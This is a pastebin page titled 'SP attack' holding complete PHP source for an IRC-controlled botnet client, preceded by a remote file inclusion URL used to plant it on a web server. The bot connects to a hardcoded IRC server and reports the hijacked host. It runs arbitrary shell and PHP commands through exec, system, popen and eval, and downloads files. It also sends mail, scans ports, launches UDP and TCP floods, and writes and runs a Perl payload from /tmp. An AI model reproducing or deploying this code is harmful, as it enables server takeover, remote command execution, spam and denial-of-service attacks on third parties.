SP attack

From cm3l1k1, 5 Years ago, written in PHP, viewed 730 times.
URL http://paste.security-portal.cz/view/79fcadb7 Shorturl http://gw.gd/rEHe Embed
Download Paste or View Raw
  1. ## input http://www.security-portal.cz/blog//plus/install/old/install.php?ChatPath=http://www.cigdemsporkulubu.com//wp-includes/images/log.jpg??
  2.  
  3. ?><?
  4.  
  5. /*
  6.  *
  7.  *  NOGROD. since 2008
  8.  *  IRC.UDPLINK.NET
  9.  *
  10.  *  COMMANDS:
  11.  *
  12.  *  .user <password> //login to the bot
  13.  *  .logout //logout of the bot
  14.  *  .die //kill the bot
  15.  *  .restart //restart the bot
  16.  *  .mail <to> <from> <subject> <msg> //send an email
  17.  *  .dns <IP|HOST> //dns lookup
  18.  *  .download <URL> <filename> //download a file
  19.  *  .exec <cmd> // uses exec() //execute a command
  20.  *  .sexec <cmd> // uses shell_exec() //execute a command
  21.  *  .cmd <cmd> // uses popen() //execute a command
  22.  *  .info //get system information
  23.  *  .php <php code> // uses eval() //execute php code
  24.  *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
  25.  *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
  26.  *  .raw <cmd> //raw IRC command
  27.  *  .rndnick //change nickname
  28.  *  .pscan <host> <port> //port scan
  29.  *  .safe  // test safe_mode (dvl)
  30.  *  .inbox <to> // test inbox (dvl)
  31.  *  .loadperl <server> // load bot  perl (dvl)
  32.  *  .uname // return shell's uname using a php function (dvl)
  33.  *
  34.  */
  35.  
  36. echo "BlackPower!";
  37.  
  38. class pBot
  39. {
  40.  var $config = array("server"=>"irc.coreunix.us",
  41.                      "port"=>"6667",
  42.                      "pass"=>"",
  43.                      "prefix"=>"Coreunix|",
  44.                      "maxrand"=>"5",
  45.                      "chan"=>"#makassar",
  46.                      "chan2"=>"#makassar",
  47.                      "key"=>"iamwashere",
  48.                      "modes"=>"+p",
  49.                      "password"=>"cemonk",
  50.                      "trigger"=>".",
  51.                      "hostauth"=>"*" // * for any hostname ( remember: /setvhost 127.0.0.1 )
  52.                      );
  53.  var $users = array();
  54.  function start()
  55.  {
  56.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  57.        $this->start();
  58.     $ident = $this->config['prefix'];
  59.     $alph = range("0","100");
  60.     for($i=0;$i<$this->config['maxrand'];$i++)
  61.        $ident .= $alph[rand(0,100)];
  62.     if(strlen($this->config['pass'])>0)
  63.        $this->send("PASS ".$this->config['pass']);
  64.     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  65.     $this->set_nick();
  66.     $this->main();
  67.  }
  68.  function main()
  69.  {
  70.     while(!feof($this->conn))
  71.     {
  72.        $this->buf = trim(fgets($this->conn,512));
  73.        $cmd = explode(" ",$this->buf);
  74.        if(substr($this->buf,0,6)=="PING :")
  75.        {
  76.           $this->send("PONG :".substr($this->buf,6));
  77.        }
  78.        if(isset($cmd[1]) && $cmd[1] =="001")
  79.        {
  80.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  81.           $this->join($this->config['chan'],$this->config['key']);
  82.           if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  83.           else { $safemode = "off"; }
  84.           $uname = php_uname();
  85.           $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
  86.           $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  87.        }
  88.        if(isset($cmd[1]) && $cmd[1]=="433")
  89.        {
  90.           $this->set_nick();
  91.        }
  92.        if($this->buf != $old_buf)
  93.        {
  94.           $mcmd = array();
  95.           $msg = substr(strstr($this->buf," :"),2);
  96.           $msgcmd = explode(" ",$msg);
  97.           $nick = explode("!",$cmd[0]);
  98.           $vhost = explode("@",$nick[1]);
  99.           $vhost = $vhost[1];
  100.           $nick = substr($nick[0],1);
  101.           $host = $cmd[0];
  102.           if($msgcmd[0]==$this->nick)
  103.           {
  104.            for($i=0;$i<count($msgcmd);$i++)
  105.               $mcmd[$i] = $msgcmd[$i+1];
  106.           }
  107.           else
  108.           {
  109.            for($i=0;$i<count($msgcmd);$i++)
  110.               $mcmd[$i] = $msgcmd[$i];
  111.           }
  112.           if(count($cmd)>2)
  113.           {
  114.              switch($cmd[1])
  115.              {
  116.                 case "QUIT":
  117.                    if($this->is_logged_in($host))
  118.                    {
  119.                       $this->log_out($host);
  120.                    }
  121.                 break;
  122.                 case "PART":
  123.                    if($this->is_logged_in($host))
  124.                    {
  125.                       $this->log_out($host);
  126.                    }
  127.                 break;
  128.                 case "PRIVMSG":
  129.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  130.                    {
  131.                       if(substr($mcmd[0],0,1)==".")
  132.                       {
  133.                          switch(substr($mcmd[0],1))
  134.                          {
  135.                             case "user":
  136.                               if($mcmd[1]==$this->config['password'])
  137.                               {
  138.                                  $this->log_in($host);
  139.                               }
  140.                               else
  141.                               {
  142.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Password salah $nick goblok elo!!");
  143.                               }
  144.                             break;
  145.                          }
  146.                       }
  147.                    }
  148.                    elseif($this->is_logged_in($host))
  149.                    {
  150.                       if(substr($mcmd[0],0,1)==".")
  151.                       {
  152.                          switch(substr($mcmd[0],1))
  153.                          {
  154.                             case "restart":
  155.                                $this->send("QUIT :Lapo ae see bosku iku njalok aku restart barang $nick");
  156.                                fclose($this->conn);
  157.                                $this->start();
  158.                             break;
  159.                             case "mail": //mail to from subject message
  160.                                if(count($mcmd)>4)
  161.                                {
  162.                                   $header = "From: <".$mcmd[2].">";
  163.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  164.                                   {
  165.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  166.                                   }
  167.                                   else
  168.                                   {
  169.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  170.                                   }
  171.                                }
  172.                             break;
  173.                             case "safe":
  174.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  175.                                {
  176.                                $safemode = "on";
  177.                                }
  178.                                else {
  179.                                $safemode = "off";
  180.                                }
  181.                                $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
  182.                             break;
  183.                             case "inbox": //teste inbox
  184.                                if(isset($mcmd[1]))
  185.                                {
  186.                                   $token = md5(uniqid(rand(), true));
  187.                                   $header = "From: <inbox".$token."@gmail.com>";
  188.                                   $a = php_uname();
  189.                                   $b = getenv("SERVER_SOFTWARE");
  190.                                   $c = gethostbyname($_SERVER["HTTP_HOST"]);
  191.                                   if(!mail($mcmd[1],"InBox Test","#matos. 2011 php\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."\n\ngreetz: irc.starindo.net\nantony OWNZ",$header))
  192.                                   {
  193.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
  194.                                   }
  195.                                   else
  196.                                   {
  197.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
  198.                                   }
  199.                                }
  200.                             break;
  201.                             case "loadperl":
  202.                                if(count($mcmd)>2)
  203.                                {
  204.                                   $this->loadperl($mcmd[1]);
  205.                                }
  206.                             break;
  207.                             case "dns":
  208.                                if(isset($mcmd[1]))
  209.                                {
  210.                                   $ip = explode(".",$mcmd[1]);
  211.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  212.                                   {
  213.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  214.                                   }
  215.                                   else
  216.                                   {
  217.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  218.                                   }
  219.                                }
  220.                             break;
  221.                             case "info":
  222.                             case "vunl":
  223.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  224.                                else { $safemode = "off"; }
  225.                                $uname = php_uname();
  226.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  227.                                $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  228.                             break;
  229.                             case "bot":
  230.                                $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; M-cRew.");
  231.                             break;
  232.                             case "uname":
  233.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  234.                                else { $safemode = "off"; }
  235.                                $uname = php_uname();
  236.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  237.                             break;
  238.                             case "rndnick":
  239.                                $this->set_nick();
  240.                             break;
  241.                             case "raw":
  242.                                $this->send(strstr($msg,$mcmd[1]));
  243.                             break;
  244.                             case "eval":
  245.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  246.                             break;
  247.                                         case "sexec":
  248.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  249.                                $exec = shell_exec($command);
  250.                                $ret = explode("\n",$exec);
  251.                                for($i=0;$i<count($ret);$i++)
  252.                                   if($ret[$i]!=NULL)
  253.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  254.                             break;
  255.  
  256.                             case "exec":
  257.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  258.                                $exec = exec($command);
  259.                                $ret = explode("\n",$exec);
  260.                                for($i=0;$i<count($ret);$i++)
  261.                                   if($ret[$i]!=NULL)
  262.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  263.                             break;
  264.  
  265.                             case "passthru":
  266.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  267.                                $exec = passthru($command);
  268.                                $ret = explode("\n",$exec);
  269.                                for($i=0;$i<count($ret);$i++)
  270.                                   if($ret[$i]!=NULL)
  271.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  272.                             break;
  273.  
  274.                             case "popen":
  275.                                if(isset($mcmd[1]))
  276.                                {
  277.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  278.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  279.                                   $pipe = popen($command,"r");
  280.                                   while(!feof($pipe))
  281.                                   {
  282.                                      $pbuf = trim(fgets($pipe,512));
  283.                                      if($pbuf != NULL)
  284.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  285.                                   }
  286.                                   pclose($pipe);
  287.                                }
  288.  
  289.                             case "system":
  290.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  291.                                $exec = system($command);
  292.                                $ret = explode("\n",$exec);
  293.                                for($i=0;$i<count($ret);$i++)
  294.                                   if($ret[$i]!=NULL)
  295.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  296.                             break;
  297.  
  298.                             case "pscan": // .pscan 127.0.0.1 6667
  299.                                if(count($mcmd) > 2)
  300.                                {
  301.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  302.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  303.                                   else
  304.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  305.                                }
  306.                             break;
  307.                             case "ud.server": // .ud.server <server> <port> [password]
  308.                                if(count($mcmd)>2)
  309.                                {
  310.                                   $this->config['server'] = $mcmd[1];
  311.                                   $this->config['port'] = $mcmd[2];
  312.                                   if(isset($mcmcd[3]))
  313.                                   {
  314.                                    $this->config['pass'] = $mcmd[3];
  315.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
  316.                                   }
  317.                                   else
  318.                                   {
  319.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
  320.                                   }
  321.                                }
  322.                             break;
  323.                             case "download":
  324.                                if(count($mcmd) > 2)
  325.                                {
  326.                                   if(!$fp = fopen($mcmd[2],"w"))
  327.                                   {
  328.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao denied.");
  329.                                   }
  330.                                   else
  331.                                   {
  332.                                      if(!$get = file($mcmd[1]))
  333.                                      {
  334.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
  335.                                      }
  336.                                      else
  337.                                      {
  338.                                         for($i=0;$i<=count($get);$i++)
  339.                                         {
  340.                                            fwrite($fp,$get[$i]);
  341.                                         }
  342.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
  343.                                      }
  344.                                      fclose($fp);
  345.                                   }
  346.                                }
  347.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://utama-audio.com/temp/"); }
  348.                             break;
  349.                             case "die":
  350.                                $this->send("QUIT :die command from $nick");
  351.                                fclose($this->conn);
  352.                                exit;
  353.                             case "logout":
  354.                                $this->log_out($host);
  355.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  356.                             break;
  357.                             case "udpflood":
  358.                                if(count($mcmd)>3)
  359.                                {
  360.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  361.                                }
  362.                             break;
  363.                             case "tcpflood":
  364.                                if(count($mcmd)>5)
  365.                                {
  366.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  367.                                }
  368.                             break;
  369.                          }
  370.                       }
  371.                    }
  372.                 break;
  373.              }
  374.           }
  375.        }
  376.        $old_buf = $this->buf;
  377.     }
  378.     $this->start();
  379.  }
  380.  function send($msg)
  381.  {
  382.     fwrite($this->conn,"$msg\r\n");
  383.  
  384.  }
  385.  function join($chan,$key=NULL)
  386.  {
  387.     $this->send("JOIN $chan $key");
  388.  }
  389.  function privmsg($to,$msg)
  390.  {
  391.     $this->send("PRIVMSG $to :$msg");
  392.  }
  393.  function notice($to,$msg)
  394.  {
  395.     $this->send("NOTICE $to :$msg");
  396.  }
  397.  function is_logged_in($host)
  398.  {
  399.     if(isset($this->users[$host]))
  400.        return 1;
  401.     else
  402.        return 0;
  403.  }
  404.  function log_in($host)
  405.  {
  406.     $this->users[$host] = true;
  407.  }
  408.  function log_out($host)
  409.  {
  410.     unset($this->users[$host]);
  411.  }
  412.  function set_nick()
  413.  {
  414.     if(isset($_SERVER['SERVER_SOFTWARE']))
  415.     {
  416.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  417.           $this->nick = "[A]";
  418.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  419.           $this->nick = "[I]";
  420.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  421.           $this->nick = "[X]";
  422.        else
  423.           $this->nick = "[U]";
  424.     }
  425.     else
  426.     {
  427.        $this->nick = "[C]";
  428.     }
  429.     $this->nick .= $this->config['prefix'];
  430.     for($i=0;$i<$this->config['maxrand'];$i++)
  431.        $this->nick .= mt_rand(0,9);
  432.     $this->send("NICK ".$this->nick);
  433.  }
  434.   function udpflood($host,$packetsize,$time) {
  435.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  436.         $packet = "";
  437.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  438.         $timei = time();
  439.         $i = 0;
  440.         while(time()-$timei < $time) {
  441.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  442.         fwrite($fp,$packet);
  443.         fclose($fp);
  444.                 $i++;
  445.         }
  446.         $env = $i * $packetsize;
  447.         $env = $env / 1048576;
  448.         $vel = $env / $time;
  449.         $vel = round($vel);
  450.         $env = round($env);
  451.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  452. }
  453.  
  454.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  455.  {
  456.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  457.     $packet = "";
  458.     for($i=0;$i<$packetsize;$i++)
  459.        $packet .= chr(mt_rand(1,256));
  460.     for($i=0;$i<$packets;$i++)
  461.     {
  462.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  463.        {
  464.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  465.           return 0;
  466.        }
  467.        else
  468.        {
  469.           fwrite($fp,$packet);
  470.           fclose($fp);
  471.        }
  472.        sleep($delay);
  473.     }
  474.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  475.  }
  476.  function loadperl($ip)
  477.  {
  478.     $this->privmsg($this->config['chan'],"[\2loadperl\2]: loadperl ke $ip");
  479.     $dc_source = "wget http://gassra.com//ams/ambroll/lol.txt";
  480.     if (is_writable("/tmp"))
  481.     {
  482.       if (file_exists("/tmp/lol.txt")) { unlink("/tmp/lol.txt"); }
  483.       $fp=fopen("/tmp/lol.txt","w");
  484.       fwrite($fp,base64_decode($dc_source));
  485.       passthru("perl /tmp/lol.txt $ip &");
  486.       unlink("/tmp/lol.txt");
  487.     }
  488.     else
  489.     {
  490.     if (is_writable("/var/tmp"))
  491.     {
  492.       if (file_exists("/var/tmp/lol.txt")) { unlink("/var/tmp/lol.txt"); }
  493.       $fp=fopen("/var/tmp/lol.txt","w");
  494.       fwrite($fp,base64_decode($dc_source));
  495.       passthru("perl /var/tmp/lol.txt $ip &");
  496.       unlink("/var/tmp/lol.txt");
  497.     }
  498.     if (is_writable("."))
  499.     {
  500.       if (file_exists("lol.txt")) { unlink("lol.txt"); }
  501.       $fp=fopen("lol.txt","w");
  502.       fwrite($fp,base64_decode($dc_source));
  503.       passthru("perl lol.txt $ip &");
  504.       unlink("lol.txt");
  505.     }
  506.     }
  507.   }
  508.  
  509. }
  510.  
  511. $bot = new pBot;
  512. $bot->start();
  513.  
  514. ?> <?

Reply to "SP attack"

Here you can reply to the paste above